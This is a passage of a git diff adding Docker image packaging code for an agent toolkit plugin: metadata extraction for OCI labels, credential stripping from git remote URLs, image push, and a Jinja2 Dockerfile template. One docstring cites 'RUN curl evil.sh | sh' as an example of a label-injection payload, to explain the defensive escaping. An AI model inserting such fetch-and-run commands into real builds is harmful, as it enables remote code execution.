uv_version=uv_version, + allow_root=allow_root, + agent_version=agent_version, + agent_author=agent_author, + template_path=template_path, + metadata=meta, + ) + + tmp_dockerfile = context_dir / "Dockerfile.generated" + # The temp Dockerfile is auto-cleaned in ``finally``; refuse to clobber a + # pre-existing file by the same name, since the cleanup would delete the + # user's file along with our own. + if tmp_dockerfile.exists(): + raise typer.Exit(_emit_refusal_error(tmp_dockerfile)) + ignore_file: Path | None = None + # Snapshot the pre-existing ``.dockerignore`` state so the ``finally`` + # cleanup only deletes files this run actually *created*. Without this, + # a committed-and-checked-in plugin-managed ``.dockerignore`` (sentinel + # header on first line, intentionally kept in the repo) would be wiped: + # ``render_dockerignore`` regenerates plugin-managed files in place and + # returns the path, and the cleanup below would treat that returned path + # as a transient artifact. Two cases the cleanup must distinguish: + # (a) file did NOT exist before this run -> we just created it -> + # safe to unlink (the user never put it there). + # (b) file existed before this run -> the user committed/wrote it, + # even if plugin-managed -> must NOT unlink. + ignore_path = context_dir / ".dockerignore" + ignore_pre_existed = ignore_path.exists() + try: + tmp_dockerfile.write_text(content, encoding="utf-8") + + if generate_ignore: + # ``render_dockerignore`` returns ``None`` when a user-owned file + # was preserved — keeping ``ignore_file`` None means the + # ``finally`` clause leaves it alone. + ignore_file = render_dockerignore(context_dir) + + return docker_build( + context_dir=context_dir, + dockerfile=tmp_dockerfile, + tag=tag, + build_args=build_args, + platforms=platforms, + push=push, + ) + finally: + tmp_dockerfile.unlink(missing_ok=True) + if ignore_file is not None and not ignore_pre_existed: + ignore_file.unlink(missing_ok=True) + + +def _emit_refusal_error(path: Path) -> int: + """Emit a uniform refuse-to-overwrite error and return the exit code.""" + typer.echo( + f"Error: refusing to overwrite pre-existing file {path}. Rename or remove it and re-run the package command.", + err=True, + ) + return 1 + + +_TAG_NAME_INVALID = re.compile(r"[^a-z0-9._-]") +_TAG_VERSION_INVALID = re.compile(r"[^a-zA-Z0-9._-]") + + +def _sanitize_image_name(raw: str) -> str: + """Coerce *raw* into a valid Docker image name component. + + Docker reference syntax requires lowercase, ``[a-z0-9]`` plus the + separators ``.`` ``-`` ``_``; uppercase letters (legal in PEP 621 + project names like ``"HelloWorld"``) and most punctuation are + rejected by ``docker build`` with an opaque "invalid reference + format" error. Lowercase, replace illegal runs with ``-``, trim + leading/trailing separators. + """ + if not raw: + return "agent" + out = _TAG_NAME_INVALID.sub("-", raw.lower()) + out = out.strip("._-") + return out or "agent" + + +def _sanitize_image_tag(raw: str) -> str: + """Coerce *raw* into a valid Docker image tag. + + PEP 440 versions legitimately contain characters Docker rejects in + tags — ``+`` (local-version separator), ``!`` (epoch), spaces — and + the empty string is illegal. Replace each illegal run with ``.`` + (Docker-valid and preserves the visual delimiter intent), strip + leading non-alphanumeric characters (Docker requires the first byte + to be ``[a-zA-Z0-9_]``), and bound the length at the 128-char + reference limit. + """ + if not raw: + return "latest" + out = _TAG_VERSION_INVALID.sub(".", raw) + out = re.sub(r"^[^a-zA-Z0-9_]+", "", out) + out = out[:128] + return out or "latest" + + +def _default_tag_from_meta(meta: dict[str, str]) -> str: + """Build a default image reference from precomputed metadata. + + Format: ``{agent_name}-{agent_id}:{agent_version}``, with both + components sanitized for the Docker reference grammar. + """ + name = _sanitize_image_name(meta["agent_name"]) + aid = meta["agent_id"] + version = _sanitize_image_tag(meta["agent_version"]) + return f"{name}-{aid}:{version}" + + +def _default_tag( + agent_config: Path, + pyproject: Path | None = None, + *, + agent_version: str | None = None, + agent_author: str | None = None, +) -> str: + """Derive a default image tag as ``{agent_name}-{agent_id}:{agent_version}``. + + Uses :func:`~nemo_agents_plugin.container.metadata.extract_agent_metadata` + to resolve the name, version, and content-addressable ID. Kept as a + thin wrapper around :func:`_default_tag_from_meta` so callers that + don't already have a metadata dict (notably the unit tests) still + have a single-argument entry point. + """ + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + meta = extract_agent_metadata( + agent_config, + pyproject, + agent_version=agent_version, + agent_author=agent_author, + ) + return _default_tag_from_meta(meta) diff --git a/plugins/nemo-agents/src/nemo_agents_plugin/container/metadata.py b/plugins/nemo-agents/src/nemo_agents_plugin/container/metadata.py new file mode 100644 index 0000000000..0b58038933 --- /dev/null +++ b/plugins/nemo-agents/src/nemo_agents_plugin/container/metadata.py @@ -0,0 +1,333 @@ +# SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Agent identity extraction for OCI image labels. + +Extracts structured metadata from agent config and project files to populate +OCI ``LABEL`` instructions in generated Dockerfiles. +""" + +from __future__ import annotations + +import hashlib +import os +import subprocess +from datetime import UTC, date, datetime +from pathlib import Path + +import yaml + + +def extract_agent_metadata( + agent_config: Path, + pyproject: Path | None = None, + *, + agent_version: str | None = None, + agent_author: str | None = None, + build_env: dict[str, str] | None = None, +) -> dict[str, str]: + """Extract OCI label values for an agent image. + + Resolution order for each field: + + * **agent_name**: ``pyproject [project].name`` → config file stem + * **agent_version**: *agent_version* arg → ``pyproject [project].version`` → ``YY.MM.DD`` + * **agent_author**: *agent_author* arg → ``git config user.name`` (run in the + project's git repo) → ``"unknown"`` + * **agent_framework**: ``"nemo_agent_toolkit"`` when config has ``workflow`` key + * **agent_id**: truncated SHA-256 of config + pyproject + build-env inputs, + so changing ``--nat-version`` (etc.) yields a distinct identifier. + * **build_timestamp**: honors ``SOURCE_DATE_EPOCH`` → + ``git log -1 --format=%cI`` of the project repo → current UTC time + * **description**: ``pyproject [project].description`` → ``"{workflow._type} agent"`` + * **licenses**: ``pyproject [project].license`` → ``""`` + * **revision**: ``git rev-parse HEAD`` in the project repo → ``""`` + * **source**: ``git remote get-url origin`` in the project repo → ``""`` + + All ``git`` invocations are scoped to ``cwd=pyproject.parent`` (or + ``agent_config.parent`` when no pyproject is given), so the labels never + reflect an unrelated repo just because the CLI happened to be invoked + from a different working directory. + """ + pyproject_data = _load_pyproject(pyproject) + config_text = agent_config.read_text(encoding="utf-8") if agent_config.exists() else "" + + # Git commands and timestamp resolution all operate against the project's + # repo, not the CLI's cwd. Without this, running the packager from `~` + # against a config in `~/repos/agent/` would stamp `~`'s git revision + # (or empty string) into the image labels. + cwd = pyproject.resolve().parent if pyproject is not None else agent_config.resolve().parent + + name = _resolve_name(pyproject_data, agent_config) + version = _resolve_version(agent_version, pyproject_data) + author = _resolve_author(agent_author, cwd=cwd) + framework = _detect_framework(config_text) + agent_id = _compute_agent_id(config_text, pyproject, build_env=build_env) + timestamp = _resolve_timestamp(cwd=cwd) + description = _resolve_description(pyproject_data, config_text) + licenses = _resolve_licenses(pyproject_data) + revision = _git_revision(cwd=cwd) + source = _git_source(cwd=cwd) + + return { + "agent_name": name, + "agent_version": version, + "agent_author": author, + "agent_framework": framework, + "agent_id": agent_id, + "build_timestamp": timestamp, + "description": description, + "licenses": licenses, + "revision": revision, + "source": source, + } + + +def _load_pyproject(pyproject: Path | None) -> dict: + if pyproject is None or not pyproject.exists(): + return {} + try: + import tomllib + except ModuleNotFoundError: + import tomli as tomllib # type: ignore[no-redef] + # Only swallow the *parse* failure: a malformed ``pyproject.toml`` should + # not stop a build that is otherwise valid (we fall back to filename-based + # name resolution, env-var version, etc.). ``OSError`` (permission / + # races with file deletion) and ``UnicodeDecodeError`` (binary file + # passed in) are real bugs and propagate so the operator sees them. + try: + return tomllib.loads(pyproject.read_text(encoding="utf-8")) + except tomllib.TOMLDecodeError: + return {} + + +def _resolve_name(pyproject_data: dict, agent_config: Path) -> str: + name = pyproject_data.get("project", {}).get("name", "") + if name: + return name + return agent_config.stem + + +def _resolve_version(explicit: str | None, pyproject_data: dict) -> str: + if explicit: + return explicit + version = pyproject_data.get("project", {}).get("version", "") + if version: + return version + today = date.today() + return f"{today.year % 100}.{today.month:02d}.{today.day:02d}" + + +def _resolve_author(explicit: str | None, cwd: Path | None = None) -> str: + if explicit: + return explicit + try: + result = subprocess.run( + ["git", "config", "user.name"], + capture_output=True, + text=True, + timeout=5, + cwd=str(cwd) if cwd else None, + ) + if result.returncode == 0 and result.stdout.strip(): + return result.stdout.strip() + except (FileNotFoundError, subprocess.TimeoutExpired): + # git missing or hung: fall back to the documented sentinel. + return "unknown" + return "unknown" + + +def _resolve_timestamp(cwd: Path | None = None) -> str: + """Return an ISO-8601 timestamp for the ``image.created`` label. + + Honors ``SOURCE_DATE_EPOCH`` (per reproducible-builds.org), then falls + back to the project repo's HEAD commit time, then to wall-clock UTC. + A stable timestamp lets ``docker build`` produce byte-identical images + across CI runs when the source has not changed. + """ + sde = os.environ.get("SOURCE_DATE_EPOCH", "").strip() + if sde: + try: + return datetime.fromtimestamp(int(sde), UTC).isoformat() + except ValueError: + # SOURCE_DATE_EPOCH was set but not a parseable integer (e.g. + # "" after strip, "abc", "1.5"). Don't fail the build — fall + # through to the git-commit-time / wall-clock fallbacks below + # so a malformed env var degrades gracefully instead of + # aborting the package step on every CI run. + pass + try: + result = subprocess.run( + ["git", "log", "-1", "--format=%cI"], + capture_output=True, + text=True, + timeout=5, + cwd=str(cwd) if cwd else None, + ) + if result.returncode == 0 and result.stdout.strip(): + return result.stdout.strip() + except (FileNotFoundError, subprocess.TimeoutExpired): + # git missing or hung: fall back to wall-clock UTC. + return datetime.now(UTC).isoformat() + return datetime.now(UTC).isoformat() + + +def _detect_framework(config_text: str) -> str: + try: + data = yaml.safe_load(config_text) + except yaml.YAMLError: + # Malformed YAML — validator.py reports the parse error separately; + # don't double-fail packaging here, return the "unknown" sentinel + # so the OCI label is still populated with a deterministic value. + return "unknown" + if isinstance(data, dict) and "workflow" in data: + return "nemo_agent_toolkit" + return "unknown" + + +def _compute_agent_id( + config_text: str, + pyproject: Path | None, + build_env: dict[str, str] | None = None, +) -> str: + """Return a 12-char content hash over the agent's identity-defining inputs. + + Domain-separated so distinct inputs cannot accidentally collide (e.g. + config="ab", pyproject="cdef" vs config="abc", pyproject="def"). Includes + *build_env* (resolved ``nat_version`` / base image / python version) so a + rebuild with a different toolchain produces a distinct id, instead of + silently re-tagging an ABI-incompatible image with the same suffix. + """ + hasher = hashlib.sha256() + hasher.update(b"agent_config\0") + hasher.update(config_text.encode("utf-8")) + hasher.update(b"\0pyproject\0") + if pyproject is not None and pyproject.exists(): + hasher.update(pyproject.read_text(encoding="utf-8").encode("utf-8")) + hasher.update(b"\0build_env\0") + if build_env: + for key in sorted(build_env): + hasher.update(f"{key}={build_env[key]}\0".encode()) + return hasher.hexdigest()[:12] + + +def _resolve_description(pyproject_data: dict, config_text: str) -> str: + desc = pyproject_data.get("project", {}).get("description", "") + if desc: + return desc + try: + data = yaml.safe_load(config_text) + except yaml.YAMLError: + # Malformed YAML — fall back to an empty description rather than + # crashing image labeling. validator.py raises a structured parse + # error elsewhere, so the user still sees the YAML problem. + return "" + if isinstance(data, dict): + wf = data.get("workflow", {}) + if isinstance(wf, dict) and wf.get("_type"): + return f"{wf['_type']} agent" + return "" + + +def _resolve_licenses(pyproject_data: dict) -> str: + project = pyproject_data.get("project", {}) + # PEP 639: [project].license is a string SPDX expression + lic = project.get("license", "") + if isinstance(lic, str) and lic: + return lic + # Legacy: [project].license = {text = "..."} + if isinstance(lic, dict): + return lic.get("text", "") + return "" + + +def _git_revision(cwd: Path | None = None) -> str: + try: + result = subprocess.run( + ["git", "rev-parse", "HEAD"], + capture_output=True, + text=True, + timeout=5, + cwd=str(cwd) if cwd else None, + ) + if result.returncode == 0 and result.stdout.strip(): + return result.stdout.strip() + except (FileNotFoundError, subprocess.TimeoutExpired): + # git missing or hung: leave the OCI revision label empty. + return "" + return "" + + +def _git_source(cwd: Path | None = None) -> str: + try: + result = subprocess.run( + ["git", "remote", "get-url", "origin"], + capture_output=True, + text=True, + timeout=5, + cwd=str(cwd) if cwd else None, + ) + if result.returncode == 0 and result.stdout.strip(): + return _strip_credentials(result.stdout.strip()) + except (FileNotFoundError, subprocess.TimeoutExpired): + # git missing or hung: leave the OCI source label empty. + return "" + return "" + + +def _strip_credentials(url: str) -> str: + """Strip embedded credentials from a git remote URL. + + Prevents GitLab PATs, GitHub tokens, or passwords embedded in the + developer's git remote (e.g. an ``https://`` URL with a ``:@`` + userinfo segment) from being baked into the + ``org.opencontainers.image.source`` OCI label. + + Handles: + * HTTPS/HTTP with ``user:password@``, ``token@``, or ``oauth2:token@`` + * HTTPS/HTTP with credentials in the query string + (``?token=...``, ``?access_token=...``) — dropped wholesale, since git + remote URLs never carry meaningful query strings or fragments + * SSH (``git@host:path``) — returned unchanged, no credentials possible + * ``ssh://...`` URLs — userinfo segment stripped if present + * Any other scheme containing ``@`` in the authority — stripped defensively + """ + from urllib.parse import urlsplit, urlunsplit + + # SCP-like SSH remote (no scheme, e.g. "git@host:org/repo.git"): the "@" is + # part of the canonical syntax and does not encode a secret, keep verbatim. + if "://" not in url: + return url + + try: + parts = urlsplit(url) + except ValueError: + # Unparseable URL (e.g. invalid IPv6 bracketing) — best-effort + # fallback returns the raw string so the OCI label is at least + # populated; the credential-leak risk is limited because the + # offending URL also failed Python's basic syntax check. + return url + + scheme = parts.scheme + netloc = parts.netloc + + # Defensively scrub query/fragment for HTTP(S) git remotes: they are + # never semantically meaningful on a git URL (clone never reads them), + # but they are a common vehicle for short-lived tokens in mirror setups + # and CI helpers (?token=..., ?access_token=...). + query = "" if scheme in ("http", "https") else parts.query + fragment = "" if scheme in ("http", "https") else parts.fragment + + if "@" not in netloc: + return urlunsplit((scheme, netloc, parts.path, query, fragment)) + + userinfo, _, host = netloc.rpartition("@") + + # A bare username on non-HTTP schemes (e.g. ``ssh://git@host``) is the + # canonical git identity, not a secret — preserve it. Strip whenever + # userinfo contains a password/token separator (``:``) or when the + # scheme is http/https (where a bare user field is often itself a token, + # as with GitHub PATs and GitLab job tokens). + if ":" in userinfo or scheme in ("http", "https"): + return urlunsplit((scheme, host, parts.path, query, fragment)) + return urlunsplit((scheme, netloc, parts.path, query, fragment)) diff --git a/plugins/nemo-agents/src/nemo_agents_plugin/container/publisher.py b/plugins/nemo-agents/src/nemo_agents_plugin/container/publisher.py new file mode 100644 index 0000000000..922571f38c --- /dev/null +++ b/plugins/nemo-agents/src/nemo_agents_plugin/container/publisher.py @@ -0,0 +1,69 @@ +# SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Docker image publisher for NAT agents. + +Tags a locally-built image and pushes it to a remote registry. +Assumes the environment already has ``docker login`` credentials for the +target registry. +""" + +from __future__ import annotations + +import logging + +import typer + +logger = logging.getLogger(__name__) + + +def docker_push( + *, + local_tag: str, + registry: str, + push_tag: str | None = None, +) -> str: + """Tag a local Docker image and push it to a remote registry. + + Args: + local_tag: The locally-built image tag (e.g. ``"my-agent:1.0"``). + registry: Remote registry URL (e.g. ``"nvcr.io/my-org"``). + push_tag: Fully-qualified remote tag. When ``None``, computed as + ``/``. + + Returns: + The remote image tag that was pushed. + + Raises: + typer.Exit: On tag or push failure. + """ + try: + from python_on_whales import docker # type: ignore[unresolved-import] + except ImportError: + typer.echo( + "Error: 'python-on-whales' is required for publishing images. " + "Install it with: pip install 'nemo-agents-plugin[container]'", + err=True, + ) + raise typer.Exit(code=1) + + if push_tag is None: + # Strip any leading/trailing slashes from the registry. + push_tag = f"{registry.rstrip('/')}/{local_tag}" + + typer.echo(f"Tagging {local_tag} -> {push_tag}") + try: + docker.tag(local_tag, push_tag) + except Exception as exc: + typer.echo(f"Docker tag failed: {exc}", err=True) + raise typer.Exit(code=1) + + typer.echo(f"Pushing {push_tag} ...") + try: + docker.push(push_tag) + except Exception as exc: + typer.echo(f"Docker push failed: {exc}", err=True) + raise typer.Exit(code=1) + + typer.echo(f"Successfully pushed {push_tag}") + return push_tag diff --git a/plugins/nemo-agents/src/nemo_agents_plugin/container/template.py b/plugins/nemo-agents/src/nemo_agents_plugin/container/template.py new file mode 100644 index 0000000000..2da2a680a4 --- /dev/null +++ b/plugins/nemo-agents/src/nemo_agents_plugin/container/template.py @@ -0,0 +1,457 @@ +# SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Jinja2-based Dockerfile renderer for NAT agents. + +Renders a Dockerfile from a built-in template using values resolved from +CLI flags, environment variables, or sensible defaults. + +Two rendering modes are supported: + +* **Config-only mode** – the agent is defined by a single ``config.yaml``. + The Dockerfile installs ``nvidia-nat[most]`` from PyPI. +* **Project mode** – the agent ships as a full Python project with a + ``pyproject.toml``. The Dockerfile runs ``uv pip install .`` and trusts + the user's ``pyproject.toml`` as the single source of truth for + dependencies, Python version, and project metadata. ``uv sync`` is not + used because it honors ``[tool.uv.sources]`` path overrides that + typically point at sibling workspace packages outside the build context. + The template intentionally does NOT paper over common pyproject bugs + (commented-out ``nvidia-nat``, monorepo-relative ``[tool.setuptools_scm]`` + roots, path-based ``[tool.uv.sources]``) — fixing those in the pyproject + is the user's responsibility and keeps the container build reproducible. +""" + +from __future__ import annotations + +import os +from dataclasses import dataclass, field, fields +from pathlib import Path + +import jinja2 + +# Marker written as the first line of every plugin-generated ``.dockerignore`` +# / ``Dockerfile``. ``render_dockerignore`` and the CLI no-build path only +# overwrite a file whose first line matches the sentinel — a user-tuned file +# next to a project's pyproject is preserved instead of silently destroyed by +# the next ``nemo agents package`` invocation. +DOCKERIGNORE_SENTINEL = "# Managed by `nemo agents package` — safe to delete if you take ownership." +DOCKERFILE_SENTINEL = "# Managed by `nemo agents package` — safe to delete if you take ownership." + + +def is_plugin_managed(path: Path) -> bool: + """Return True if *path* exists and its first line matches the sentinel. + + Used by the CLI no-build path to distinguish a Dockerfile / .dockerignore + that the plugin itself wrote on a previous run (safe to overwrite) from + one the user wrote by hand (must not be clobbered). + """ + if not path.exists(): + return False + try: + first_line = path.read_text(encoding="utf-8", errors="replace").splitlines()[:1] + except OSError: + return False + if not first_line: + return False + return first_line[0] in (DOCKERFILE_SENTINEL, DOCKERIGNORE_SENTINEL) + + +# -- Defaults --------------------------------------------------------------- + +_DEFAULTS: dict[str, str] = { + "base_image_url": "nvcr.io/nvidia/base/ubuntu", + "base_image_tag": "noble-20260217", + "python_version": "3.13", + "uv_version": "0.8.15", + # Default NAT version — used ONLY as a last-resort fallback. Callers are + # expected to pass ``--nat-version`` (or set ``NAT_VERSION``) explicitly + # so that image tags, labels, and the ``nvidia-nat[most]`` constraint + # are reproducible. The ``[most]`` extra pins ``nvidia-nat-core`` and + # every plugin (langchain, mcp, eval, weave, phoenix, ...) to the SAME + # version, so a single ``==${NAT_VERSION}`` constraint keeps the + # core/plugin ABI consistent and avoids ``ImportError: cannot import + # name ...`` at runtime. When bumping this default, verify the version + # resolves cleanly with ``uv pip install --prerelease=allow + # 'nvidia-nat[most]=='`` against public PyPI. Note: NAT does not + # define an ``[all]`` extra — ``[most]`` is the comprehensive one + # (includes langchain / react-agent / wiki-search). + "nat_version": "1.7.0", +} + +_ENV_MAP: dict[str, str] = { + "base_image_url": "NAT_BASE_IMAGE_URL", + "base_image_tag": "NAT_BASE_IMAGE_TAG", + "python_version": "NAT_PYTHON_VERSION", + "nat_version": "NAT_VERSION", + "uv_version": "NAT_UV_VERSION", +} + +# -- Jinja2 template -------------------------------------------------------- + +DOCKERFILE_TEMPLATE = ( + f"""\ +{DOCKERFILE_SENTINEL} +""" + + """\ +ARG BASE_IMAGE_URL={{ base_image_url }} +ARG BASE_IMAGE_TAG={{ base_image_tag }} +ARG PYTHON_VERSION={{ python_version }} +ARG NAT_VERSION={{ nat_version }} +FROM ${BASE_IMAGE_URL}:${BASE_IMAGE_TAG} +ARG PYTHON_VERSION +ARG NAT_VERSION + +COPY --from=ghcr.io/astral-sh/uv:{{ uv_version }} /uv /uvx /bin/ + +ENV PYTHONDONTWRITEBYTECODE=1 + +# Keep the uv-managed Python in a world-readable location and use copy +# link-mode so the venv is self-contained (no cross-directory symlinks), +# letting the non-root runtime user exec it without needing /root access. +ENV UV_PYTHON_INSTALL_DIR=/opt/uv/python \\ + UV_LINK_MODE=copy + +RUN apt-get update && \\ + apt-get install -y --no-install-recommends g++ gcc ca-certificates curl && \\ + update-ca-certificates && \\ + rm -rf /var/lib/apt/lists/* + +ENV REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt +ENV SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt + +WORKDIR /workspace + +COPY ./ /workspace +{% if has_pyproject %} +# Project mode. ``pyproject.toml`` is the single source of truth: it must +# declare ``nvidia-nat[...]`` (for the ``nat`` CLI), a concrete ``version`` +# (or a container-resolvable dynamic version), and every runtime dep. +# ``uv sync`` is deliberately not used because it honors +# ``[tool.uv.sources]`` path overrides pointing at sibling workspace +# packages that typically do not exist inside the build context. +RUN --mount=type=cache,id=uv_cache,target=/root/.cache/uv,sharing=locked \\ + uv venv --python ${PYTHON_VERSION} /workspace/.venv && \\ + . /workspace/.venv/bin/activate && \\ + uv pip install . && \\ + chmod -R a+rX /opt/uv /workspace/.venv +{% else %} +RUN --mount=type=cache,id=uv_cache,target=/root/.cache/uv,sharing=locked \\ + uv venv --python ${PYTHON_VERSION} /workspace/.venv && \\ + . /workspace/.venv/bin/activate && \\ + test -n "${NAT_VERSION}" || { echo "NAT_VERSION build-arg is required" >&2; exit 1; } && \\ + uv pip install --prerelease=allow "nvidia-nat[most]==${NAT_VERSION}" && \\ + chmod -R a+rX /opt/uv /workspace/.venv +{% endif %} +LABEL org.opencontainers.image.title="{{ agent_name | dockerfile_escape }}" \\ + org.opencontainers.image.version="{{ agent_version | dockerfile_escape }}" \\ + org.opencontainers.image.authors="{{ agent_author | dockerfile_escape }}" \\ + org.opencontainers.image.created="{{ build_timestamp | dockerfile_escape }}" \\ + org.opencontainers.image.description="{{ description | dockerfile_escape }}" \\ + org.opencontainers.image.revision="{{ revision | dockerfile_escape }}" \\ + org.opencontainers.image.source="{{ source | dockerfile_escape }}" \\ +{%- if licenses %} + org.opencontainers.image.licenses="{{ licenses | dockerfile_escape }}" \\ +{%- endif %} + com.nemo.agent.id="{{ agent_id | dockerfile_escape }}" \\ + com.nemo.agent.framework="{{ agent_framework | dockerfile_escape }}" \\ + com.nemo.agent.nat-version="{{ nat_version | dockerfile_escape }}" \\ + com.nemo.agent.contract-version="{{ contract_version | dockerfile_escape }}" + +ENV NAT_CONFIG_FILE={{ config_file_path }} + +ENV PATH="/workspace/.venv/bin:$PATH" +{% if not allow_root %} +# Some modern base images (notably Ubuntu 24.04 "noble" and the NVIDIA base +# images derived from it) ship with a default unprivileged user at +# uid=1000/gid=1000. Reclaim 1000 for ``agent`` *by id, not by name* so this +# layer is portable across older base images (where 1000 is free; the guarded +# delete is a no-op) and across future base images that might rename the +# default user. +RUN if getent passwd 1000 >/dev/null; then userdel -rf "$(getent passwd 1000 | cut -d: -f1)" 2>/dev/null || true; fi && \\ + if getent group 1000 >/dev/null; then groupdel -f "$(getent group 1000 | cut -d: -f1)" 2>/dev/null || true; fi && \\ + groupadd -g 1000 agent && useradd -u 1000 -g agent -m agent && \\ + chown -R agent:agent /workspace +USER agent +{% endif %} +ENTRYPOINT ["sh", "-c", "exec nat serve --config_file=$NAT_CONFIG_FILE --host 0.0.0.0"] +""" +) + +DOCKERIGNORE_TEMPLATE = f"""\ +{DOCKERIGNORE_SENTINEL} +.env +.env.* +*.pem +*.key +credentials.json +.git/ +.gitignore +__pycache__/ +*.pyc +.pytest_cache/ +.mypy_cache/ +.ruff_cache/ +*.egg-info/ +dist/ +build/ +.venv/ +node_modules/ +""" + + +# -- Data class for render parameters -------------------------------------- + + +@dataclass +class RenderParams: + """Resolved parameters for Dockerfile rendering.""" + + base_image_url: str = "" + base_image_tag: str = "" + python_version: str = "" + nat_version: str = "" + uv_version: str = "" + has_pyproject: bool = False + config_file_path: str = "/workspace/config.yaml" + allow_root: bool = False + agent_id: str = "" + agent_name: str = "" + agent_version: str = "" + agent_author: str = "" + agent_framework: str = "" + build_timestamp: str = "" + contract_version: str = "" + description: str = "" + licenses: str = "" + revision: str = "" + source: str = "" + extra: dict[str, str] = field(default_factory=dict) + + +# -- Public API ------------------------------------------------------------- + + +def resolve_value(name: str, explicit: str | None = None) -> str: + """Return the first non-empty value from *explicit*, env var, or default. + + Raises ``ValueError`` for required parameters (those without a default) + when no value can be resolved. + """ + value, _ = resolve_value_with_source(name, explicit) + return value + + +def resolve_value_with_source(name: str, explicit: str | None = None) -> tuple[str, str]: + """Same as :func:`resolve_value` but also returns where the value came from. + + Returns: + A tuple ``(value, source)`` where *source* is one of + ``"explicit"``, ``"env"``, or ``"default"``. + """ + if explicit: + return explicit, "explicit" + env_var = _ENV_MAP.get(name) + if env_var: + env_val = os.environ.get(env_var, "") + if env_val: + return env_val, "env" + default = _DEFAULTS.get(name) + if default: + return default, "default" + raise ValueError( + f"'{name}' is required. Pass it explicitly, or set the " + f"{_ENV_MAP.get(name, name.upper())} environment variable." + ) + + +def _dockerfile_escape(value: object) -> str: + """Sanitize a value for safe inclusion inside a Dockerfile double-quoted string. + + Defends against label-injection from any external source whose contents + flow into ``LABEL ... = "{{ ... }}"`` lines — ``git config user.name``, + ``git remote get-url origin``, ``pyproject [project].description``, and + user-supplied ``--agent-author`` / ``--agent-version`` strings. Without + this filter, a value containing ``"`` or a newline can terminate the + label string early and inject arbitrary Dockerfile instructions + (``RUN curl evil.sh | sh``) into the rendered output. + + Backslashes are escaped first so we don't double-escape our own escapes. + Newlines and carriage returns are collapsed to a single space. + """ + text = value if isinstance(value, str) else str(value) + text = text.replace("\\", "\\\\").replace('"', '\\"') + text = text.replace("\r", " ").replace("\n", " ") + return text + + +def _jinja_env() -> jinja2.Environment: + """Build the shared Jinja2 environment used to render Dockerfiles. + + ``autoescape=False`` because the output is a Dockerfile (not HTML); the + ``dockerfile_escape`` filter is invoked explicitly at every label + interpolation site. ``StrictUndefined`` so a typo in an external + template fails at render time instead of producing a Dockerfile with + silently empty ``ARG`` / ``LABEL`` lines. + """ + env = jinja2.Environment( + autoescape=False, + keep_trailing_newline=True, + undefined=jinja2.StrictUndefined, + ) + env.filters["dockerfile_escape"] = _dockerfile_escape + return env + + +def render_dockerfile( + agent_config: Path, + pyproject: Path | None = None, + *, + base_image_url: str | None = None, + base_image_tag: str | None = None, + python_version: str | None = None, + nat_version: str | None = None, + uv_version: str | None = None, + allow_root: bool = False, + agent_version: str | None = None, + agent_author: str | None = None, + template_path: str | None = None, + metadata: dict[str, str] | None = None, +) -> str: + """Render a Dockerfile string for a NAT agent. + + Args: + agent_config: Path to the agent ``config.yaml``. + pyproject: Optional path to ``pyproject.toml`` (enables project mode). + base_image_url: Override base image URL. + base_image_tag: Override base image tag. + python_version: Override Python version. + nat_version: NAT version (required). + uv_version: Override ``uv`` version. + allow_root: When True, skip non-root USER creation. + agent_version: Override agent version label. + agent_author: Override agent author label. + template_path: Path to an external Jinja2 template file. + metadata: Pre-computed metadata from + :func:`~nemo_agents_plugin.container.metadata.extract_agent_metadata`. + When supplied, avoids a duplicate extraction (which would shell + out to ``git`` three times and re-parse the yaml/toml). + + Returns: + The rendered Dockerfile as a string. + + Raises: + ValueError: If a required parameter cannot be resolved, or the + agent config lies outside the pyproject build context (which + would otherwise produce an image that crashes at startup + looking for the missing config file). + """ + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + has_pyproject = pyproject is not None and pyproject.exists() + + if has_pyproject: + assert pyproject is not None + try: + relative_config = agent_config.resolve().relative_to(pyproject.resolve().parent) + except ValueError as exc: + # Falling back to ``Path(agent_config.name)`` here is unsafe — + # the rendered image would set ``NAT_CONFIG_FILE=/workspace/`` + # while the COPY of the project tree never picks up the + # out-of-tree config. The container would build successfully and + # then crash at ``nat serve`` startup with file-not-found. + raise ValueError( + f"agent config {agent_config} is outside the pyproject build " + f"context ({pyproject.resolve().parent}); move it into the " + "project tree or omit --pyproject to use the config's directory " + "as the build context." + ) from exc + config_file_path = f"/workspace/{relative_config.as_posix()}" + else: + config_file_path = f"/workspace/{agent_config.name}" + + resolved_nat = resolve_value("nat_version", nat_version) + contract_version = _get_contract_version() + + if metadata is None: + metadata = extract_agent_metadata( + agent_config, + pyproject, + agent_version=agent_version, + agent_author=agent_author, + ) + + params = RenderParams( + base_image_url=resolve_value("base_image_url", base_image_url), + base_image_tag=resolve_value("base_image_tag", base_image_tag), + python_version=resolve_value("python_version", python_version), + nat_version=resolved_nat, + uv_version=resolve_value("uv_version", uv_version), + has_pyproject=has_pyproject, + config_file_path=config_file_path, + allow_root=allow_root, + contract_version=contract_version, + agent_id=metadata["agent_id"], + agent_name=metadata["agent_name"], + agent_version=metadata["agent_version"], + agent_author=metadata["agent_author"], + agent_framework=metadata["agent_framework"], + build_timestamp=metadata["build_timestamp"], + description=metadata["description"], + licenses=metadata["licenses"], + revision=metadata["revision"], + source=metadata["source"], + ) + + if template_path: + # Convert filesystem failures into the documented ``ValueError`` + # contract. ``_validate_package_flags`` already rejects a missing + # ``--template`` upfront, but the file can race (chmod, deletion, + # encoding errors) between that check and the read here. Letting + # the raw ``OSError`` / ``UnicodeDecodeError`` propagate would + # surface as an uncaught traceback because the CLI's error + # handler only catches ``ValueError``. + try: + template_source = Path(template_path).read_text(encoding="utf-8") + except (OSError, UnicodeDecodeError) as exc: + raise ValueError(f"failed to read --template file {template_path}: {exc}") from exc + else: + template_source = DOCKERFILE_TEMPLATE + + template = _jinja_env().from_string(template_source) + ctx = {f.name: getattr(params, f.name) for f in fields(params) if f.name != "extra"} + ctx.update(params.extra) + return template.render(**ctx) + + +def _get_contract_version() -> str: + """Return the ``nemo-agents-plugin`` package version.""" + from importlib.metadata 